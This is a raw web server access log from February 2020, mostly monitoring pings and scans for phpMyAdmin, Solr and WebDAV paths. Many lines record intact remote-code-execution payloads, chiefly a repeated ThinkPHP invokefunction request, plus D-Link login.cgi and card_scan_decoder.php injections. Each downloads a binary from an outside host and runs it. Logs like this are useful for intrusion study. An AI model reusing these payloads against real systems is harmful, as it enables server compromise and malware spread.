85.244.166.12 - - [09/Feb/2020:23:21:41 +0100] "GET /phpMyAdmin4/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:42 +0100] "GET /phpMyAdmin-3/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:42 +0100] "GET /php-my-admin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:42 +0100] "GET /PMA2011/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:42 +0100] "GET /PMA2012/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:42 +0100] "GET /PMA2013/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:43 +0100] "GET /PMA2014/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:43 +0100] "GET /PMA2015/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:43 +0100] "GET /PMA2016/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:43 +0100] "GET /PMA2017/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:43 +0100] "GET /PMA2018/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:44 +0100] "GET /PMA2019/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:44 +0100] "GET /PMA2020/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:44 +0100] "GET /pma2011/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:44 +0100] "GET /pma2012/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:44 +0100] "GET /pma2013/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:44 +0100] "GET /pma2014/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:45 +0100] "GET /pma2015/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:45 +0100] "GET /pma2016/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:45 +0100] "GET /pma2017/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:45 +0100] "GET /pma2018/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:45 +0100] "GET /pma2019/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:45 +0100] "GET /pma2020/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:46 +0100] "GET /phpmyadmin2011/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:46 +0100] "GET /phpmyadmin2012/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:46 +0100] "GET /phpmyadmin2013/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:46 +0100] "GET /phpmyadmin2014/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:46 +0100] "GET /phpmyadmin2015/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:47 +0100] "GET /phpmyadmin2016/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:47 +0100] "GET /phpmyadmin2017/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:47 +0100] "GET /phpmyadmin2018/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:47 +0100] "GET /phpmyadmin2019/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:47 +0100] "GET /phpmyadmin2020/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:48 +0100] "GET /index.php?lang=en HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
121.232.179.153 - - [09/Feb/2020:23:21:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:23:22:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:23:23:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:23:24:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.73.215.171 - - [09/Feb/2020:23:25:26 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [09/Feb/2020:23:25:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.48.122.214 - - [09/Feb/2020:23:26:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:23:26:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.109.56.26 - - [09/Feb/2020:23:26:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:23:27:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:23:28:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:23:29:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.67.211.195 - - [09/Feb/2020:23:29:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.67.211.195 - - [09/Feb/2020:23:29:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:23:30:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.145.61 - - [09/Feb/2020:23:30:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:23:31:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.74.36.16 - - [09/Feb/2020:23:31:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
178.216.105.91 - - [09/Feb/2020:23:31:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
178.216.105.91 - - [09/Feb/2020:23:31:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.47.157.79 - - [09/Feb/2020:23:32:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:23:32:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.109.31 - - [09/Feb/2020:23:33:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:23:33:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:23:34:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:23:35:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:23:36:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [09/Feb/2020:23:37:07 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:23:37:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [09/Feb/2020:23:37:40 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:23:37:47 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.112.8.175 - - [09/Feb/2020:23:38:00 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
5.101.0.209 - - [09/Feb/2020:23:38:24 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:23:38:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:23:39:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:23:40:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:23:41:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.73.215.171 - - [09/Feb/2020:23:41:54 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [09/Feb/2020:23:42:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.23.99.181 - - [09/Feb/2020:23:42:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:23:43:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [09/Feb/2020:23:44:10 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:23:44:11 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:23:44:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.188.241.112 - - [09/Feb/2020:23:44:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [09/Feb/2020:23:44:45 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:23:44:46 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:23:44:52 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:23:44:53 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:23:45:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [09/Feb/2020:23:45:31 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:23:45:32 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:23:46:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:23:47:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.187.22.38 - - [09/Feb/2020:23:48:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:23:48:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.105.2 - - [09/Feb/2020:23:49:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:23:49:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [09/Feb/2020:23:49:41 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
178.91.189.199 - - [09/Feb/2020:23:49:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [09/Feb/2020:23:50:18 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [09/Feb/2020:23:50:25 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:23:50:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [09/Feb/2020:23:51:04 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:23:51:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.41.55.59 - - [09/Feb/2020:23:51:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
80.21.75.143 - - [09/Feb/2020:23:51:57 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 341 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [09/Feb/2020:23:52:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:23:53:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:23:54:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:23:55:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:23:56:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:23:57:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.13.184.106 - - [09/Feb/2020:23:57:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.135.38.248 - - [09/Feb/2020:23:58:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:23:58:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
210.7.13.166 - - [09/Feb/2020:23:58:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:23:59:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.128.0.26 - - [10/Feb/2020:00:02:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.115.192.224 - - [10/Feb/2020:00:03:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.42.172.155 - - [10/Feb/2020:00:04:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
